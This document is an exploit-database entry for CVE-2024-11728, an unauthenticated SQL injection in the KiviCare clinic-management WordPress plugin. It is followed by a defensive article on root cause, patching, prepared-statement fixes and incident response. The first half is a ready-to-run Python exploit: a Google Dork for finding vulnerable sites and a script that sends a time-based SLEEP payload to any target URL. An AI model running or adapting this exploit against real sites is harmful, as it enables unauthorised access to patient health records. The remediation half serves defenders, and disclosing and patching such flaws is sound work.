KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection
# Exploit Title: KiviCare Clinic & Patient Management System (EHR) 3.6.4 - Unauthenticated SQL Injection
SQL Injection
# Google Dork: inurl:"/wp-content/plugins/kivicare-clinic-management-system/
# Date: 11/12/2024
# Exploit Author: Samet "samogod" Gözet
# Vendor Homepage: wordpress.org
# Software Link:
https://wordpress.org/plugins/kivicare-clinic-management-system/
# Version: < 3.6.5
# Tested on: Ubuntu 22.04
# CVE : CVE-2024-11728
#!/usr/bin/env python3
"""
CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection PoC
Author: samogod.samet.g
Description:
Proof of Concept for Unauthenticated SQL Injection vulnerability
in KiviCare WordPress Plugin <= 3.6.4.
The vulnerability exists in the tax_calculated_data AJAX action
where the visit_type[service_id]
parameter is insufficiently escaped, allowing SQL injection attacks.
Usage:
python3 CVE-2024-11728.py -u <target_url> [-t <timeout>] [-v]
"""
import argparse
import requests
import sys
import time
from urllib3.exceptions import InsecureRequestWarning
# Disable SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class KiviCareExploit:
def __init__(self, url, timeout=10, verbose=False):
self.url = url.rstrip('/')
self.timeout = timeout
self.verbose = verbose
self.target = f"{self.url}/wp-admin/admin-ajax.php"
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': '*/*'
}
def log(self, message, level="info"):
"""Custom logging function"""
colors = {
"info": "\033[94m[*]",
"success": "\033[92m[+]",
"error": "\033[91m[-]",
"warning": "\033[93m[!]"
}
print(f"{colors.get(level, '[*]')} {message}\033[0m")
def verify_vulnerability(self):
"""Verify if the target is vulnerable using a time-based SQL
injection"""
self.log("Testing vulnerability with time-based SQL injection...")
data = {
'action': 'ajax_post',
'route_name': 'tax_calculated_data',
'clinic_id[id]': '1',
'doctor_id[id]': '1',
'visit_type[0][service_id]': "123) AND (SELECT * FROM
(SELECT(SLEEP(5)))alias) AND (1=1",
'_ajax_nonce': '5d77fc94cf' # You need to update this nonce value
}
try:
normal_data = {
'action': 'ajax_post',
'route_name': 'tax_calculated_data',
'clinic_id[id]': '1',
'doctor_id[id]': '1',
'visit_type[0][service_id]': "1",
'_ajax_nonce': '5d77fc94cf' # You need to update this
nonce value
}
start_time = time.time()
normal_response = requests.post(
self.target,
data=normal_data,
headers=self.headers,
verify=False,
timeout=self.timeout
)
normal_time = time.time() - start_time
if self.verbose:
self.log(f"Normal request time: {normal_time:.2f}
seconds", "info")
self.log(f"Normal response: {normal_response.text}", "info")
start_time = time.time()
try:
response = requests.post(
self.target,
data=data,
headers=self.headers,
verify=False,
timeout=self.timeout
)
elapsed_time = time.time() - start_time
if self.verbose:
self.log(f"Injection request time:
{elapsed_time:.2f} seconds", "info")
self.log(f"Request data: {data}", "info")
if elapsed_time >= 4.5:
self.log("Target appears to be vulnerable!", "success")
return True
else:
self.log("Target does not appear to be
vulnerable.", "warning")
return False
except requests.exceptions.Timeout:
self.log("Request timed out - target is vulnerable!", "success")
return True
except requests.exceptions.RequestException as e:
self.log(f"Error during vulnerability check: {str(e)}", "error")
return False
def main():
parser = argparse.ArgumentParser(description='KiviCare WordPress
Plugin Unauthenticated SQL Injection PoC (CVE-2024-11728)')
parser.add_argument('-u', '--url', required=True, help='Target URL
(e.g., http://example.com)')
parser.add_argument('-t', '--timeout', type=int, default=10,
help='Request timeout in seconds')
parser.add_argument('-v', '--verbose', action='store_true',
help='Enable verbose output')
args = parser.parse_args()
print("""
CVE-2024-11728 - KiviCare WordPress Plugin Unauthenticated SQL Injection
Author: samogod.samet.g
""")
exploit = KiviCareExploit(args.url, args.timeout, args.verbose)
exploit.verify_vulnerability()
if __name__ == '__main__':
main() KiviCare (EHR) 3.6.4 — CVE-2024-11728: Unauthenticated SQL Injection Explained
This article examines the unauthenticated SQL injection vulnerability tracked as CVE-2024-11728 in the KiviCare Clinic & Patient Management System WordPress plugin (versions < 3.6.5). It focuses on the root cause, impact, detection strategies, safe remediation patterns, and recommended hardening practices for site owners and developers. This is a technical but non-exploitative treatment intended to help defenders and maintainers respond safely and responsibly.
Executive summary
- Vulnerability class: SQL Injection (unauthenticated)
- Affected component: KiviCare WordPress plugin AJAX handler for tax_calculated_data
- Affected versions: all KiviCare releases prior to 3.6.5 (per vendor advisory)
- CVE identifier: CVE-2024-11728
- Primary risk: remote data exposure, data manipulation, and potential full DB compromise when combined with other weaknesses
- Immediate action: update plugin to 3.6.5 or later, or apply code fixes that harden input handling and access checks
What went wrong (root cause)
The underlying issue arises when user-supplied values from AJAX parameters are concatenated into SQL statements without adequate validation, escaping, or use of parameterized queries. In this case the vulnerable handler accepted a nested array parameter (visit_type[][service_id]) and used it directly in an SQL context, allowing an attacker to inject arbitrary SQL fragments.
Compounding factors that make this more dangerous:
- The vulnerable endpoint could be invoked without authentication (unauthenticated AJAX), increasing exploitability.
- Insufficient nonce or capability checks meant the request could be processed by unauthenticated users.
- Missing or improper use of WordPress database APIs ($wpdb->prepare) and type casts.
Impact and likely attacker goals
- Data exfiltration from the plugin or adjacent WordPress tables.
- Potential modification or deletion of records.
- Escalation to full site compromise if attackers pivot using additional vulnerabilities or misconfigurations.
- Availability impacts via destructive SQL queries.
Prioritization
Because the endpoint is unauthenticated and SQL injection frequently results in high-impact outcomes, affected sites should treat this as a critical issue: apply vendor patches promptly and follow mitigation guidance below.
Safe detection and validation (non-exploitative)
Do not perform active exploitation against production systems you do not own. To confirm exposure safely:
- Check the plugin version from the WordPress admin dashboard, plugin directory, or file headers. If < 3.6.5, assume vulnerability until patched.
- Review plugin code: look at the AJAX handler for route_name tax_calculated_data and verify whether check_ajax_referer / capability checks are present and whether inputs are sanitized.
- Use up-to-date vulnerability scanners (commercial or open-source) configured for authenticated scans in a controlled environment.
- Test only on local/staging copies or with explicit authorization; avoid sending crafted payloads to live public sites.
Recommended remediation (developers and site owners)
The most reliable remediation is to update to the vendor-provided fixed version (3.6.5 or later). If an immediate upgrade is not possible, apply the following hardening changes to the vulnerable AJAX handler:
- Reject unauthenticated requests or require specific capabilities for the AJAX handler.
- Use check_ajax_referer for nonce verification and confirm the action is allowed.
- Sanitize and strictly type-cast all input values (e.g., use intval, floatval, or strict regex validation).
- Use $wpdb->prepare with proper placeholders rather than string concatenation to construct queries.
- Limit the database account privileges used by WordPress when feasible (least privilege).
- Log suspicious input and rate-limit AJAX endpoints.
Secure coding example (sanitized & prepared queries)
<?php
// Example: safe handling inside an AJAX handler
add_action('wp_ajax_nopriv_tax_calculated_data', 'kivicare_tax_calculated_data_handler');
add_action('wp_ajax_tax_calculated_data', 'kivicare_tax_calculated_data_handler');
function kivicare_tax_calculated_data_handler() {
// Verify nonce (replace 'kivicare_nonce_action' with plugin's action name)
if ( ! isset( $_POST['_ajax_nonce'] ) || ! check_ajax_referer('kivicare_nonce_action', '_ajax_nonce', false) ) {
wp_send_json_error(array('message' => 'Invalid nonce'), 403);
}
// Validate capability (optional, recommended for sensitive operations)
// if ( ! current_user_can('manage_options') ) { wp_send_json_error(...); }
global $wpdb;
// Strictly sanitize expected inputs. For arrays, map to integers.
$service_ids = array();
if ( isset( $_POST['visit_type'] ) && is_array( $_POST['visit_type'] ) ) {
foreach ( $_POST['visit_type'] as $vt ) {
if ( isset( $vt['service_id'] ) ) {
$service_ids[] = intval( $vt['service_id'] );
}
}
}
if ( empty( $service_ids ) ) {
wp_send_json_success(array('data' => array()));
}
// Use prepare with placeholders. Build a placeholder string safely.
$placeholders = implode( ',', array_fill(0, count($service_ids), '%d') );
$query = $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}kivicare_services WHERE id IN ($placeholders)", $service_ids );
$results = $wpdb->get_results( $query );
wp_send_json_success(array('data' => $results));
}
?>Explanation: This snippet shows three defensive measures. First, it verifies a nonce to mitigate CSRF or unauthorized abuse. Second, it strictly casts each service_id to an integer using intval before use. Third, it uses $wpdb->prepare with %d placeholders to ensure the database engine receives typed parameters, which prevents SQL injection from string concatenation.
Mitigation layers and monitoring
- Patch management: apply the plugin update from the official WordPress plugin repository as soon as possible.
- Web Application Firewall (WAF): deploy or update WAF rules to block suspicious payload patterns and to rate-limit AJAX endpoints.
- Logging & alerting: add detailed logging around AJAX handlers and watch for unusual request volumes or errors.
- Backup & recovery: ensure off-site database backups are available in case a remediation requires restoration.
- Principle of least privilege: restrict DB user privileges assigned to WordPress to avoid catastrophic SQL operations.
Recommended incident response steps (if you suspect compromise)
- Immediately update the plugin to a fixed version or temporarily disable the plugin.
- Capture and preserve logs (web server, PHP, DB) for forensic review.
- Rotate credentials and secrets used by WordPress (database passwords, admin accounts, API keys).
- Scan the system for unusual files, scheduled tasks, or persisted backdoors.
- Restore from a known-good backup if data integrity cannot be assured.
Timeline & attribution
CVE-2024-11728 was disclosed publicly by security researchers; the vendor issued a patch (3.6.5) to address the input validation and authorization issues. Always consult the official plugin changelog and security advisories for authoritative details.
References and resources
| Item | Notes |
|---|---|
| Vendor plugin page | Official WordPress plugin directory entry for KiviCare — check for updates and changelog |
| CVE database | Lookup CVE-2024-11728 for vendor advisory and severity |
| WordPress developer docs | Guides on AJAX handlers, nonces (check_ajax_referer), and $wpdb->prepare |
Final recommendations
Patch first, then harden. Prioritize updating to the fixed plugin version (3.6.5+). For developers, adopt safe input handling patterns (strict validation, type casting, and prepared statements) and enforce authorization for AJAX endpoints. For site operators, deploy layered controls (WAF, monitoring, backups) and scan staging copies before restoring to production.